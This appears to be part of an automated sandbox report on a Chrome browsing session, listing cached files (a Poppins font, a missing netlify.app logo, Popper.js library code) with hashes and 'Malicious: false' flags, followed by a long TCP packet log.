Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 5552, version 1.0
Category:	downloaded
Size (bytes):	5552
Entropy (8bit):	7.955353879556499
Encrypted:	false
SSDEEP:	96:GWz5crMNRWIC8vTLyiVW3HwxoixvxFI2zg/M+2NZ9iA0H3yD8ubtRm/5x2s:GWlGM3W38vT/0Qx3+2zgE+CQnHCD8ubU
MD5:	AA42A9A3D4FC9951ED37945FF1AF85DC
SHA1:	6CD63D09CC1F526ABA20B654EF5B55F8104586C6
SHA-256:	A526DAC26FCC645D428764B07FD6AE2AD3399129B75C22C8E149278157291189
SHA-512:	BDD9DB6EF8B696FA29E774F73B80B8C2A0DBC39EEC455D88325E644D0FE8A044DF51EF9D4398AFFF221A8776B6B9F6D769E32FC60A2602AC8320F10955282779
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJnecmNE.woff2
Preview:	wOF2..............2....].............................`.....(._..f..6.$..H. ..\..+.[3......E...EQ..1.?$h........+.m.X..q..N.VVNf+V...xXF..s1K..'.Pv_.wV.!.hh$1.y^....^...rVre.nAd...Vr)w.Z".....12a.Tj.... .(\0h..P.......p...x....?.E.of....ED........U...=..R.B...:c..5.k2....}.....L......:..._.#K...j....C..!w%8....gYD.]....h.Ul.....Z."M.nh:.~.....2.`..f...8P.@!{BU..3.o&.f.t.{...O6..-..~...".........{....u......Pq./..S.X.V.......1fz...ef`.#dq>.E...o.u[....{..emy./.....KD.........@0. \.S....j'.Y<T.'.0.Y..f...@.Lm.A..L...^...D.!...98..q....0............+vT....C8.o...Q....ne......L.a1...wM...r...zv....T?\#..R`o@....TDJ5...M.;/..x.t._..G.f....PY.i)I....{..........._._....)../5.M.(Y..uI..Inqov..wu..e.Nl...\R..\zL..5>.X$R..e.m....A......(d"c.QK........=...?pw..._1?..qk....++..-.)$a..X.e.l....N......jt.~5.W^.M+6..aT....a..IZ.n..i7..?..I7....^..ni<.;.?.....[`$.........{.l..........UD19.0.Vc..V......F.....%..V..l..b.5[i./.w(..G..`."./..._R.B....*5.....O

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.779470570797251
Encrypted:	false
SSDEEP:	3:ObynQA2d9Uoe/XgR6Z:ObPH/Ulgg
MD5:	7F419C3D76B4C93DCA51A8724B0E184B
SHA1:	F5EE2310A313A3DEFDC20284AD4A1BAF4F2A924E
SHA-256:	F8D57EC6C1D80CA2162F09D5810B746FB168487098E0237D990562416EB87D5B
SHA-512:	C0B09ABC89687535168E3A2F134AAADE2BDAB128092CA913E9F3BF7363CBD6DE87840397DA19EC2A491C85DABD7A19ACCF35EE32A7B97245B371E269790387C8
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/logo.png
Preview:	Not Found - Request ID: 01J8XDQREEWA2ZE7E40XGE3N1Y

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Static File Info

⊘No static file info

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 00:58:47.197444916 CEST	49674	443	192.168.2.6	173.222.162.64
Sep 29, 2024 00:58:47.197446108 CEST	49673	443	192.168.2.6	173.222.162.64
Sep 29, 2024 00:58:47.509988070 CEST	49672	443	192.168.2.6	173.222.162.64
Sep 29, 2024 00:58:55.894335032 CEST	49710	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:58:55.894377947 CEST	443	49710	40.115.3.253	192.168.2.6
Sep 29, 2024 00:58:55.894428968 CEST	49710	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:58:55.897619009 CEST	49710	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:58:55.897629976 CEST	443	49710	40.115.3.253	192.168.2.6
Sep 29, 2024 00:58:56.713083029 CEST	443	49710	40.115.3.253	192.168.2.6
Sep 29, 2024 00:58:56.713155031 CEST	49710	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:58:56.727519989 CEST	49710	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:58:56.727545977 CEST	443	49710	40.115.3.253	192.168.2.6
Sep 29, 2024 00:58:56.727776051 CEST	443	49710	40.115.3.253	192.168.2.6
Sep 29, 2024 00:58:56.729460001 CEST	49710	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:58:56.729619980 CEST	49710	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:58:56.729628086 CEST	443	49710	40.115.3.253	192.168.2.6
Sep 29, 2024 00:58:56.729924917 CEST	49710	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:58:56.775396109 CEST	443	49710	40.115.3.253	192.168.2.6
Sep 29, 2024 00:58:56.825891018 CEST	49674	443	192.168.2.6	173.222.162.64
Sep 29, 2024 00:58:56.916044950 CEST	443	49710	40.115.3.253	192.168.2.6
Sep 29, 2024 00:58:56.916127920 CEST	443	49710	40.115.3.253	192.168.2.6
Sep 29, 2024 00:58:56.916179895 CEST	49710	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:58:56.916474104 CEST	49710	443	192.168.2.6	40.115.3.253
Sep 29, 2024 00:58:56.916495085 CEST	443	49710	40.115.3.253	192.168.2.6
Sep 29, 2024 00:58:56.976667881 CEST	49673	443	192.168.2.6	173.222.162.64
Sep 29, 2024 00:58:57.232882023 CEST	49672	443	192.168.2.6	173.222.162.64
Sep 29, 2024 00:58:57.763396978 CEST	49716	80	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:57.763545990 CEST	49717	80	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:57.770348072 CEST	80	49716	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:57.770402908 CEST	49716	80	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:57.770737886 CEST	80	49717	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:57.770792007 CEST	49717	80	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:57.776828051 CEST	49716	80	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:57.783771992 CEST	80	49716	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:58.237333059 CEST	80	49716	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:58.269447088 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:58.269534111 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:58.269629002 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:58.269836903 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:58.269871950 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:58.304975033 CEST	49716	80	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:58.741375923 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:58.751985073 CEST	443	49705	173.222.162.64	192.168.2.6
Sep 29, 2024 00:58:58.752347946 CEST	49705	443	192.168.2.6	173.222.162.64
Sep 29, 2024 00:58:58.769916058 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:58.769979000 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:58.771063089 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:58.771123886 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:58.772923946 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:58.772999048 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:58.773590088 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:58.773608923 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:58.821340084 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.075617075 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.075663090 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.075694084 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.075710058 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.075726986 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.075815916 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.075864077 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.076046944 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.076087952 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.076097965 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.076114893 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.076175928 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.076190948 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.083528042 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.083597898 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.083614111 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.133006096 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.163774014 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.163943052 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.163976908 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.163996935 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.164021969 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.164072037 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.164401054 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.164604902 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.164658070 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.164671898 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.165224075 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.165275097 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.165287971 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.165714979 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.165760994 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.165780067 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.166486979 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.166548014 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.166565895 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.166606903 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.166650057 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.166663885 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.167298079 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.167342901 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.167355061 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.167414904 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.167464018 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.167476892 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.168212891 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.168239117 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.168262959 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.168277025 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.168329954 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.168399096 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.213707924 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.213723898 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.252278090 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.252340078 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.252358913 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.252502918 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.252620935 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.252635002 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.252778053 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.252824068 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.252835989 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.253530979 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.253539085 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.253598928 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.253612995 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.254271984 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.254304886 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.254328966 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.254343033 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.254375935 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.254420996 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.254470110 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.313260078 CEST	49718	443	192.168.2.6	172.66.0.235
Sep 29, 2024 00:58:59.313276052 CEST	443	49718	172.66.0.235	192.168.2.6
Sep 29, 2024 00:58:59.316409111 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:58:59.316437960 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:58:59.316484928 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:58:59.317014933 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:58:59.317068100 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:58:59.317118883 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:58:59.318030119 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:58:59.318077087 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:58:59.318129063 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:58:59.321820974 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:58:59.321834087 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:58:59.322552919 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:58:59.322568893 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:58:59.323035955 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:58:59.323051929 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:58:59.785149097 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:58:59.785372972 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:58:59.785393000 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:58:59.786513090 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:58:59.786706924 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:58:59.796849966 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:58:59.797090054 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:58:59.797158003 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:58:59.798226118 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:58:59.798286915 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:58:59.799982071 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:58:59.802498102 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:58:59.802521944 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:58:59.804143906 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:58:59.804214001 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.214407921 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.214587927 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.215013027 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.215209961 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.215409040 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.215423107 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.215514898 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.215650082 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.215694904 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.215759039 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.215790033 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.259164095 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.259171009 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.259177923 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.259179115 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.302990913 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.309556961 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.309808016 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.309839964 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.310401917 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.310497999 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.310600996 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.310622931 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.311196089 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.311224937 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.311276913 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.311283112 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.311430931 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.311975956 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.312068939 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.312108040 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.312112093 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.312753916 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.312856913 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.312916040 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.312927008 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.313061953 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.313193083 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.313431978 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.313616037 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.313622952 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.314203024 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.314280987 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.314413071 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.314419985 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.314518929 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.314873934 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.320425987 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.320544004 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.320652962 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.320673943 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.320703030 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.320816994 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.320914984 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.320950031 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.320967913 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.321010113 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.321254015 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.321361065 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.321392059 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.321407080 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.321737051 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.322004080 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.325026035 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.325289965 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.325294971 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.327380896 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.327481031 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.327488899 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.373389959 CEST	49724	443	192.168.2.6	104.17.24.14
Sep 29, 2024 00:59:00.373420000 CEST	443	49724	104.17.24.14	192.168.2.6
Sep 29, 2024 00:59:00.373431921 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.373461008 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.396380901 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.396496058 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.396626949 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.396646976 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.396696091 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.396696091 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.396723032 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.396872997 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.396951914 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.396975040 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.397223949 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.397313118 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.397325039 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.397398949 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.397660017 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.397694111 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.397717953 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.397735119 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.397736073 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.397741079 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.397749901 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.398102045 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.398112059 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.398200035 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.398236990 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.398577929 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.398614883 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.398641109 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.398658037 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.398660898 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.398674011 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.398691893 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.398732901 CEST	49722	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.398960114 CEST	443	49722	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.399173021 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.399415016 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.399754047 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.399795055 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.399812937 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.399961948 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.400042057 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.400252104 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.400290012 CEST	49723	443	192.168.2.6	151.101.194.137
Sep 29, 2024 00:59:00.400320053 CEST	443	49723	151.101.194.137	192.168.2.6
Sep 29, 2024 00:59:00.400866985 CEST	49723	443	192.168.2.6	151.101.194.137
